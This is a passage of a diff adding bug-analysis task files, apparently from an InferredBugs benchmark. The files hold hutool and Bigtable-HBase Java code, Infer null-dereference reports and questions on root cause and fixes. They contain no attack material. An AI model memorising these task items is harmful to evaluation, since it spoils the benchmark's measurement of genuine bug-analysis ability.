+	public Font createFont() {
+		return getWorkbook().createFont();
+	}
+
+	/**
+	 * 将Excel Workbook刷出到预定义的文件<br>
+	 * 如果用户未自定义输出的文件，将抛出{@link NullPointerException}<br>
+	 * 预定义文件可以通过{@link #setDestFile(File)} 方法预定义，或者通过构造定义
+	 * 
+	 * @return this
+	 * @throws IORuntimeException IO异常
+	 */
+	public ExcelWriter flush() throws IORuntimeException {
+		return flush(this.destFile);
+	}
+
+	/**
+	 * 将Excel Workbook刷出到文件<br>
+	 * 如果用户未自定义输出的文件，将抛出{@link NullPointerException}
+	 * 
+	 * @param destFile 写出到的文件
+	 * @return this
+	 * @throws IORuntimeException IO异常
+	 * @since 4.0.6
+	 */
+	public ExcelWriter flush(File destFile) throws IORuntimeException {
+		Assert.notNull(destFile, "[destFile] is null, and you must call setDestFile(File) first or call flush(OutputStream).");
+		return flush(FileUtil.getOutputStream(destFile), true);
+	}
+
+	/**
+	 * 将Excel Workbook刷出到输出流
+	 * 
+	 * @param out 输出流
+	 * @return this
+	 * @throws IORuntimeException IO异常
+	 */
+	public ExcelWriter flush(OutputStream out) throws IORuntimeException {
+		return flush(out, false);
+	}
+
+	/**
+	 * 将Excel Workbook刷出到输出流
+	 * 
+	 * @param out 输出流
+	 * @param isCloseOut 是否关闭输出流
+	 * @return this
+	 * @throws IORuntimeException IO异常
+	 * @since 4.4.1
+	 */
+	public ExcelWriter flush(OutputStream out, boolean isCloseOut) throws IORuntimeException {
+		Assert.isFalse(this.isClosed, "ExcelWriter has been closed!");
+		try {
+			this.workbook.write(out);
+			out.flush();
+		} catch (IOException e) {
+			throw new IORuntimeException(e);
+		} finally {
+			if (isCloseOut) {
+				IoUtil.close(out);
+			}
+		}
+		return this;
+	}
+
+	/**
+	 * 关闭工作簿<br>
+	 * 如果用户设定了目标文件，先写出目标文件后给关闭工作簿
+	 */
+	@Override
+	public void close() {
+		if (null != this.destFile) {
+			flush();
+		}
+		closeWithoutFlush();
+	}
+
+	/**
+	 * 关闭工作簿但是不写出
+	 */
+	protected void closeWithoutFlush() {
+		super.close();
+
+		// 清空对象
+		this.currentRow = null;
+		this.styleSet = null;
+	}
+
+	// -------------------------------------------------------------------------- Private method start
+	/**
+	 * 为指定的key列表添加标题别名，如果没有定义key的别名，在onlyAlias为false时使用原key
+	 * 
+	 * @param rowMap 一行数据
+	 * @return 别名列表
+	 */
+	private Map<?, ?> aliasMap(Map<?, ?> rowMap) {
+		if (MapUtil.isEmpty(this.headerAlias)) {
+			return rowMap;
+		}
+
+		final Map<Object, Object> filteredMap = new LinkedHashMap<>();
+		String aliasName;
+		for (Entry<?, ?> entry : rowMap.entrySet()) {
+			aliasName = this.headerAlias.get(StrUtil.toString(entry.getKey()));
+			if (null != aliasName) {
+				// 别名键值对加入
+				filteredMap.put(aliasName, entry.getValue());
+			} else if (false == this.onlyAlias) {
+				// 保留无别名设置的键值对
+				filteredMap.put(entry.getKey(), entry.getValue());
+			}
+		}
+		return filteredMap;
+	}
+
+	/**
+	 * 获取单例的别名比较器，比较器的顺序为别名加入的顺序
+	 * 
+	 * @return Comparator
+	 * @since 4.1.5
+	 */
+	private Comparator<String> getInitedAliasComparator() {
+		if (MapUtil.isEmpty(this.headerAlias)) {
+			return null;
+		}
+		Comparator<String> aliasComparator = this.aliasComparator;
+		if (null == aliasComparator) {
+			Set<String> keySet = this.headerAlias.keySet();
+			aliasComparator = new IndexedComparator<>(keySet.toArray(new String[0]));
+			this.aliasComparator = aliasComparator;
+		}
+		return aliasComparator;
+	}
+	// -------------------------------------------------------------------------- Private method end
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `cell` last assigned on line 889 could be null and is dereferenced at line 891.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CellStyle ExcelWriter.createStyleForCell(int,int)
+
+### Procedure Id:
+cn.hutool.poi.excel.ExcelWriter.createStyleForCell(int,int):org.apache.poi.ss.usermodel.CellStyle.46e035e5bd58d0c21ae815e59fe34101
+
+### File:
+hutool-poi/src/main/java/cn/hutool/poi/excel/ExcelWriter.java
+
+### Key:
+ExcelWriter.java|createStyleForCell|NULL_DEREFERENCE
+
+### Node Key:
+3f60616e3e6929bacad0d04a9610e534
+
+### Hash:
+5f058eede01ace1c2a5faab99aae5b54
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4357/instruction.md b/inferredbugs-4357/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2cf9e34aef89d91f9c751a3fe4807aa6a0dd1547
--- /dev/null
+++ b/inferredbugs-4357/instruction.md
@@ -0,0 +1,212 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hutool
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cn.hutool.extra.template;
+
+import java.io.File;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import cn.hutool.core.lang.Dict;
+import cn.hutool.extra.template.TemplateConfig.ResourceMode;
+import cn.hutool.extra.template.engine.beetl.BeetlEngine;
+import cn.hutool.extra.template.engine.enjoy.EnjoyEngine;
+import cn.hutool.extra.template.engine.freemarker.FreemarkerEngine;
+import cn.hutool.extra.template.engine.rythm.RythmEngine;
+import cn.hutool.extra.template.engine.thymeleaf.ThymeleafEngine;
+import cn.hutool.extra.template.engine.velocity.VelocityEngine;
+
+/**
+ * 模板引擎单元测试
+ * 
+ * @author looly
+ *
+ */
+public class TemplateUtilTest {
+
+	@Test
+	public void createEngineTest() {
+		// 默认模板引擎，此处为Beetl
+		TemplateEngine engine = TemplateUtil.createEngine(new TemplateConfig());
+		Template template = engine.getTemplate("hello,${name}");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+	}
+
+	@Test
+	public void beetlEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new BeetlEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("hello,${name}");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+
+		// classpath中获取模板
+		engine = new BeetlEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		Template template2 = engine.getTemplate("beetl_test.btl");
+		String result2 = template2.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result2);
+	}
+
+	@Test
+	public void rythmEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new RythmEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("hello,@name");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+
+		// classpath中获取模板
+		Template template2 = engine.getTemplate("rythm_test.tmpl");
+		String result2 = template2.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result2);
+	}
+
+	@Test
+	public void freemarkerEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new FreemarkerEngine(new TemplateConfig("templates", ResourceMode.STRING));
+		Template template = engine.getTemplate("hello,${name}");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+		
+		//ClassPath模板
+		engine = new FreemarkerEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("freemarker_test.ftl");
+		result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+	}
+	
+	@Test
+	public void velocityEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new VelocityEngine(new TemplateConfig("templates", ResourceMode.STRING));
+		Template template = engine.getTemplate("你好,$name");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("你好,hutool", result);
+		
+		//ClassPath模板
+		engine = new VelocityEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("templates/velocity_test.vtl");
+		result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("你好,hutool", result);
+		
+	}
+
+	@Test
+	public void enjoyEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new EnjoyEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("#(x + 123)");
+		String result = template.render(Dict.create().set("x", 1));
+		Assert.assertEquals("124", result);
+
+		//ClassPath模板
+		engine = new EnjoyEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("enjoy_test.etl");
+		result = template.render(Dict.create().set("x", 1));
+		Assert.assertEquals("124", result);
+	}
+
+	@Test
+	public void thymeleafEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new ThymeleafEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("<h3 th:text=\"${message}\"></h3>");
+		String result = template.render(Dict.create().set("message", "Hutool"));
+		Assert.assertEquals("<h3>Hutool</h3>", result);
+		
+		//ClassPath模板
+		engine = new ThymeleafEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("thymeleaf_test.ttl");
+		result = template.render(Dict.create().set("message", "Hutool"));
+		Assert.assertEquals("<h3>Hutool</h3>", result);
+	}
+	
+	@Test
+	@Ignore
+	public void renderToFileTest() {
+		TemplateEngine engine = new BeetlEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		Template template = engine.getTemplate("freemarker_test.ftl");
+
+		final Map<String, Object> bindingMap = new HashMap<>();
+		bindingMap.put("name", "aa");
+		File outputFile = new File("e:/test.txt");
+		template.render(bindingMap, outputFile);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `template` last assigned on line 56 could be null and is dereferenced at line 57.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TemplateUtilTest.rythmEngineTest()
+
+### Procedure Id:
+cn.hutool.extra.template.TemplateUtilTest.rythmEngineTest():void.c086ba7cbe2383e5c5789a3c6968bb43
+
+### File:
+hutool-extra/src/test/java/cn/hutool/extra/template/TemplateUtilTest.java
+
+### Key:
+TemplateUtilTest.java|rythmEngineTest|NULL_DEREFERENCE
+
+### Node Key:
+ce53c923f4dea93d3ab7dc2c8344c2b9
+
+### Hash:
+7b6f7b6c9e7d6927a19ebb0621744b59
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4361/instruction.md b/inferredbugs-4361/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..21411d9ef986cb5dde59f33d233e738b2d458935
--- /dev/null
+++ b/inferredbugs-4361/instruction.md
@@ -0,0 +1,212 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hutool
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cn.hutool.extra.template;
+
+import java.io.File;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import cn.hutool.core.lang.Dict;
+import cn.hutool.extra.template.TemplateConfig.ResourceMode;
+import cn.hutool.extra.template.engine.beetl.BeetlEngine;
+import cn.hutool.extra.template.engine.enjoy.EnjoyEngine;
+import cn.hutool.extra.template.engine.freemarker.FreemarkerEngine;
+import cn.hutool.extra.template.engine.rythm.RythmEngine;
+import cn.hutool.extra.template.engine.thymeleaf.ThymeleafEngine;
+import cn.hutool.extra.template.engine.velocity.VelocityEngine;
+
+/**
+ * 模板引擎单元测试
+ * 
+ * @author looly
+ *
+ */
+public class TemplateUtilTest {
+
+	@Test
+	public void createEngineTest() {
+		// 默认模板引擎，此处为Beetl
+		TemplateEngine engine = TemplateUtil.createEngine(new TemplateConfig());
+		Template template = engine.getTemplate("hello,${name}");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+	}
+
+	@Test
+	public void beetlEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new BeetlEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("hello,${name}");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+
+		// classpath中获取模板
+		engine = new BeetlEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		Template template2 = engine.getTemplate("beetl_test.btl");
+		String result2 = template2.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result2);
+	}
+
+	@Test
+	public void rythmEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new RythmEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("hello,@name");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+
+		// classpath中获取模板
+		Template template2 = engine.getTemplate("rythm_test.tmpl");
+		String result2 = template2.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result2);
+	}
+
+	@Test
+	public void freemarkerEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new FreemarkerEngine(new TemplateConfig("templates", ResourceMode.STRING));
+		Template template = engine.getTemplate("hello,${name}");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+		
+		//ClassPath模板
+		engine = new FreemarkerEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("freemarker_test.ftl");
+		result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("hello,hutool", result);
+	}
+	
+	@Test
+	public void velocityEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new VelocityEngine(new TemplateConfig("templates", ResourceMode.STRING));
+		Template template = engine.getTemplate("你好,$name");
+		String result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("你好,hutool", result);
+		
+		//ClassPath模板
+		engine = new VelocityEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("templates/velocity_test.vtl");
+		result = template.render(Dict.create().set("name", "hutool"));
+		Assert.assertEquals("你好,hutool", result);
+		
+	}
+
+	@Test
+	public void enjoyEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new EnjoyEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("#(x + 123)");
+		String result = template.render(Dict.create().set("x", 1));
+		Assert.assertEquals("124", result);
+
+		//ClassPath模板
+		engine = new EnjoyEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("enjoy_test.etl");
+		result = template.render(Dict.create().set("x", 1));
+		Assert.assertEquals("124", result);
+	}
+
+	@Test
+	public void thymeleafEngineTest() {
+		// 字符串模板
+		TemplateEngine engine = new ThymeleafEngine(new TemplateConfig("templates"));
+		Template template = engine.getTemplate("<h3 th:text=\"${message}\"></h3>");
+		String result = template.render(Dict.create().set("message", "Hutool"));
+		Assert.assertEquals("<h3>Hutool</h3>", result);
+		
+		//ClassPath模板
+		engine = new ThymeleafEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		template = engine.getTemplate("thymeleaf_test.ttl");
+		result = template.render(Dict.create().set("message", "Hutool"));
+		Assert.assertEquals("<h3>Hutool</h3>", result);
+	}
+	
+	@Test
+	@Ignore
+	public void renderToFileTest() {
+		TemplateEngine engine = new BeetlEngine(new TemplateConfig("templates", ResourceMode.CLASSPATH));
+		Template template = engine.getTemplate("freemarker_test.ftl");
+
+		final Map<String, Object> bindingMap = new HashMap<>();
+		bindingMap.put("name", "aa");
+		File outputFile = new File("e:/test.txt");
+		template.render(bindingMap, outputFile);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `template` last assigned on line 70 could be null and is dereferenced at line 71.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TemplateUtilTest.freemarkerEngineTest()
+
+### Procedure Id:
+cn.hutool.extra.template.TemplateUtilTest.freemarkerEngineTest():void.d04b9828350d1dcbea6dbcca11cf1758
+
+### File:
+hutool-extra/src/test/java/cn/hutool/extra/template/TemplateUtilTest.java
+
+### Key:
+TemplateUtilTest.java|freemarkerEngineTest|NULL_DEREFERENCE
+
+### Node Key:
+ce53c923f4dea93d3ab7dc2c8344c2b9
+
+### Hash:
+d87d14fa1438cbcb86f932dc2ce6f2e5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4366/instruction.md b/inferredbugs-4366/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..68ee035eeed4069eb1fd3034524c6989d1d040bb
--- /dev/null
+++ b/inferredbugs-4366/instruction.md
@@ -0,0 +1,416 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-bigtable-hbase
+**Bug ID:** 66
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 Google Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.cloud.bigtable.hbase;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.same;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+import com.google.api.core.ApiFuture;
+import com.google.api.core.ApiFutures;
+import com.google.cloud.bigtable.config.BigtableOptions;
+import com.google.cloud.bigtable.core.IBigtableDataClient;
+import com.google.cloud.bigtable.core.IBulkMutation;
+import com.google.cloud.bigtable.data.v2.models.Query;
+import com.google.cloud.bigtable.data.v2.models.ReadModifyWriteRow;
+import com.google.cloud.bigtable.data.v2.models.RowMutationEntry;
+import com.google.cloud.bigtable.grpc.BigtableSession;
+import com.google.cloud.bigtable.grpc.BigtableTableName;
+import com.google.cloud.bigtable.grpc.async.BulkRead;
+import com.google.cloud.bigtable.grpc.scanner.FlatRow;
+import com.google.cloud.bigtable.grpc.scanner.FlatRow.Cell;
+import com.google.cloud.bigtable.hbase.adapters.Adapters;
+import com.google.cloud.bigtable.hbase.adapters.HBaseRequestAdapter;
+import com.google.cloud.bigtable.hbase.util.ByteStringer;
+import com.google.common.collect.ImmutableList;
+import com.google.protobuf.ByteString;
+import com.google.protobuf.Empty;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.commons.lang.RandomStringUtils;
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.hbase.TableName;
+import org.apache.hadoop.hbase.client.Append;
+import org.apache.hadoop.hbase.client.Delete;
+import org.apache.hadoop.hbase.client.Get;
+import org.apache.hadoop.hbase.client.Increment;
+import org.apache.hadoop.hbase.client.Put;
+import org.apache.hadoop.hbase.client.Result;
+import org.apache.hadoop.hbase.client.RetriesExhaustedWithDetailsException;
+import org.apache.hadoop.hbase.client.RowMutations;
+import org.apache.hadoop.hbase.client.coprocessor.Batch.Callback;
+import org.apache.hadoop.hbase.util.Bytes;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.mockito.Mock;
+import org.mockito.Mockito;
+import org.mockito.invocation.InvocationOnMock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+import org.mockito.stubbing.Answer;
+
+/** Tests {@link BatchExecutor} */
+@SuppressWarnings({"unchecked", "rawtypes"})
+public class TestBatchExecutor {
+  @Rule public final MockitoRule mockitoRule = MockitoJUnit.rule();
+
+  private static Put randomPut() {
+    return new Put(randomBytes(8))
+        .addColumn(Bytes.toBytes("cf"), Bytes.toBytes("qual"), Bytes.toBytes("SomeValue"));
+  }
+
+  private static byte[] randomBytes(int count) {
+    return Bytes.toBytes(RandomStringUtils.random(count));
+  }
+
+  private static Matcher<Result> matchesRow(final Result expected) {
+    return new BaseMatcher<Result>() {
+
+      @Override
+      public void describeTo(Description description) {}
+
+      @Override
+      public boolean matches(Object item) {
+        try {
+          Result.compareResults((Result) item, expected);
+          return true;
+        } catch (Exception e) {
+          return false;
+        }
+      }
+
+      @Override
+      public void describeMismatch(Object item, Description mismatchDescription) {}
+    };
+  }
+
+  @Mock private BigtableSession mockBigtableSession;
+
+  @Mock private BulkRead mockBulkRead;
+
+  @Mock private IBulkMutation mockBulkMutation;
+
+  @Mock private IBigtableDataClient mockDataClient;
+
+  @Mock private ApiFuture mockFuture;
+
+  private HBaseRequestAdapter requestAdapter;
+
+  private BigtableOptions options;
+
+  @Before
+  public void setup() {
+    options =
+        BigtableOptions.builder().setProjectId("projectId").setInstanceId("instanceId").build();
+    requestAdapter =
+        new HBaseRequestAdapter(options, TableName.valueOf("table"), new Configuration(false));
+
+    when(mockBulkMutation.add(any(RowMutationEntry.class))).thenReturn(mockFuture);
+    when(mockBigtableSession.getDataClientWrapper()).thenReturn(mockDataClient);
+    when(mockDataClient.readModifyWriteRowAsync(any(ReadModifyWriteRow.class)))
+        .thenReturn(mockFuture);
+    when(mockBigtableSession.createBulkMutationWrapper(any(BigtableTableName.class)))
+        .thenReturn(mockBulkMutation);
+    when(mockBigtableSession.createBulkRead(any(BigtableTableName.class))).thenReturn(mockBulkRead);
+    doAnswer(
+            new Answer<Void>() {
+              @Override
+              public Void answer(InvocationOnMock invocation) throws Throwable {
+                invocation.getArgument(0, Runnable.class).run();
+                return null;
+              }
+            })
+        .when(mockFuture)
+        .addListener(any(Runnable.class), any(Executor.class));
+    doReturn(true).when(mockFuture).isDone();
+  }
+
+  @Test
+  public void testGet() throws Exception {
+    when(mockBulkRead.add(any(Query.class))).thenReturn(mockFuture);
+    final byte[] key = randomBytes(8);
+    FlatRow response = FlatRow.newBuilder().withRowKey(ByteString.copyFrom(key)).build();
+    setFuture(ImmutableList.of(response));
+    Result[] results = batch(Arrays.asList(new Get(key)));
+    Assert.assertTrue(
+        matchesRow(Adapters.FLAT_ROW_ADAPTER.adaptResponse(response)).matches(results[0]));
+  }
+
+  @Test
+  public void testPut() throws Exception {
+    testMutation(randomPut());
+  }
+
+  @Test
+  public void testDelete() throws Exception {
+    testMutation(new Delete(randomBytes(8)));
+  }
+
+  @Test
+  public void testAppend() throws Exception {
+    testMutation(new Append(randomBytes(8)));
+  }
+
+  @Test
+  public void testIncrement() throws Exception {
+    testMutation(new Increment(randomBytes(8)));
+  }
+
+  @Test
+  public void testRowMutations() throws Exception {
+    testMutation(new RowMutations(randomBytes(8)));
+  }
+
+  @Test
+  public void testShutdownService() throws Exception {
+    when(mockFuture.get()).thenThrow(new IllegalStateException("closed"));
+    try {
+      batch(Arrays.asList(randomPut()));
+    } catch (RetriesExhaustedWithDetailsException e) {
+      Assert.assertEquals(1, e.getCauses().size());
+      Assert.assertEquals(IllegalStateException.class, e.getCause(0).getClass());
+    }
+  }
+
+  @Test
+  public void testAsyncException() throws Exception {
+    String message = "Something bad happened";
+    when(mockFuture.get()).thenThrow(new RuntimeException(message));
+    try {
+      batch(Arrays.asList(randomPut()));
+    } catch (RetriesExhaustedWithDetailsException e) {
+      Assert.assertEquals(1, e.getCauses().size());
+      Assert.assertEquals(RuntimeException.class, e.getCause(0).getClass());
+      Assert.assertEquals(message, e.getCause(0).getMessage());
+    }
+  }
+
+  @Test
+  public void testPartialResults() throws Exception {
+    byte[] key1 = randomBytes(8);
+    byte[] key2 = randomBytes(8);
+    FlatRow response1 =
+        FlatRow.newBuilder()
+            .withRowKey(ByteString.copyFrom(key1))
+            .addCell(
+                new Cell(
+                    "cf",
+                    ByteString.EMPTY,
+                    10,
+                    ByteString.copyFromUtf8("hi!"),
+                    new ArrayList<String>()))
+            .build();
+
+    RuntimeException exception = new RuntimeException("Something bad happened");
+    when(mockBulkRead.add(any(Query.class)))
+        .thenReturn(ApiFutures.immediateFuture(response1))
+        .thenReturn(ApiFutures.<FlatRow>immediateFailedFuture(exception));
+
+    List<Get> gets = Arrays.asList(new Get(key1), new Get(key2));
+    Object[] results = new Object[2];
+
+    try {
+      createExecutor(options).batch(gets, results);
+    } catch (RetriesExhaustedWithDetailsException ignored) {
+    }
+    Assert.assertTrue("first result is a result", results[0] instanceof Result);
+    Assert.assertTrue(Bytes.equals(((Result) results[0]).getRow(), key1));
+    Assert.assertEquals(exception, results[1]);
+  }
+
+  @Test
+  public void testGetCallback() throws Exception {
+    when(mockBulkRead.add(any(Query.class))).thenReturn(mockFuture);
+    byte[] key = randomBytes(8);
+    FlatRow response = FlatRow.newBuilder().withRowKey(ByteString.copyFrom(key)).build();
+    setFuture(ImmutableList.of(response));
+    final Callback<Result> callback = Mockito.mock(Callback.class);
+    List<Get> gets = Arrays.asList(new Get(key));
+    createExecutor(options).batchCallback(gets, new Object[1], callback);
+
+    verify(callback, times(1))
+        .update(
+            same(BatchExecutor.NO_REGION),
+            same(key),
+            argThat(matchesRow(Adapters.FLAT_ROW_ADAPTER.adaptResponse(response))));
+  }
+
+  @Test
+  public void testBatchBulkGets() throws Exception {
+    final List<Get> gets = new ArrayList<>(10);
+    final List<ApiFuture<FlatRow>> expected = new ArrayList<>(10);
+
+    gets.add(new Get(Bytes.toBytes("key0")));
+    expected.add(ApiFutures.<FlatRow>immediateFuture(null));
+    for (int i = 1; i < 10; i++) {
+      byte[] row_key = randomBytes(8);
+      gets.add(new Get(row_key));
+      ByteString key = ByteStringer.wrap(row_key);
+      ByteString cellValue = ByteString.copyFrom(randomBytes(8));
+      expected.add(
+          ApiFutures.immediateFuture(
+              FlatRow.newBuilder()
+                  .withRowKey(key)
+                  .addCell("family", ByteString.EMPTY, System.nanoTime() / 1000, cellValue)
+                  .build()));
+    }
+
+    // Test 10 gets, but return only 9 to test the row not found case.
+    when(mockBulkRead.add(any(Query.class)))
+        .then(
+            new Answer<ApiFuture<FlatRow>>() {
+              final AtomicInteger counter = new AtomicInteger();
+
+              @Override
+              public ApiFuture<FlatRow> answer(InvocationOnMock invocation) throws Throwable {
+                return expected.get(counter.getAndIncrement());
+              }
+            });
+    ByteString key = ByteStringer.wrap(randomBytes(8));
+    ByteString cellValue = ByteString.copyFrom(randomBytes(8));
+    FlatRow row =
+        FlatRow.newBuilder()
+            .withRowKey(key)
+            .addCell("family", ByteString.EMPTY, System.nanoTime() / 1000, cellValue)
+            .build();
+    when(mockFuture.get()).thenReturn(row);
+
+    BatchExecutor underTest = createExecutor(options);
+    Result[] results = underTest.batch(gets);
+    verify(mockBulkRead, times(10)).add(any(Query.class));
+    verify(mockBulkRead, times(1)).flush();
+    Assert.assertTrue(matchesRow(Result.EMPTY_RESULT).matches(results[0]));
+    for (int i = 1; i < results.length; i++) {
+      Assert.assertTrue(
+          "Expected "
+              + Bytes.toString(gets.get(i).getRow())
+              + " but was "
+              + Bytes.toString(results[i].getRow()),
+          Bytes.equals(results[i].getRow(), gets.get(i).getRow()));
+    }
+  }
+
+  // HELPERS
+
+  private void testMutation(org.apache.hadoop.hbase.client.Row mutation) throws Exception {
+    setFuture(Empty.getDefaultInstance());
+    Result[] results = batch(Arrays.asList(mutation));
+    Assert.assertTrue(matchesRow(Result.EMPTY_RESULT).matches(results[0]));
+  }
+
+  protected void setFuture(Object response) throws InterruptedException, ExecutionException {
+    when(mockFuture.get()).thenReturn(response);
